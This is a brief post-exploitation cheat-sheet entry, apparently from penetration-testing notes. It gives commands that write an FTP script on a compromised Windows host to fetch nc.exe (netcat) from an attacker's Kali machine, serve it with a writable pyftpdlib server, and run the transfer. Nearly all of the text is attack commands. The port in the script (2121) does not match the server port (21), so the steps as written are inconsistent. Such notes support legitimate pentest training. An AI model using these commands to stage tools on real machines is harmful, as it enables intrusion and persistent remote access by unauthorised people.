Command Group
Post-Exploitation
Comments
On the Windows Machine:
echo open localhost 2121> ftp.txt&echo USER anonymous >> ftp.txt& echo anonymous>> ftp.txt&echo bin>> ftp.txt&echo GET nc.exe >>ftp.txt&echo bye>> ftp.txt
On your Kali Machine in a tools directory or wherever the file is, start an FTP server:
python -m pyftpdlib -p 21 -w
On Windows, run:
ftp -v -n -s:ftp.txt
The file should transfer. This works on older versions of Windows where PowerShell or Certutil may not be functional.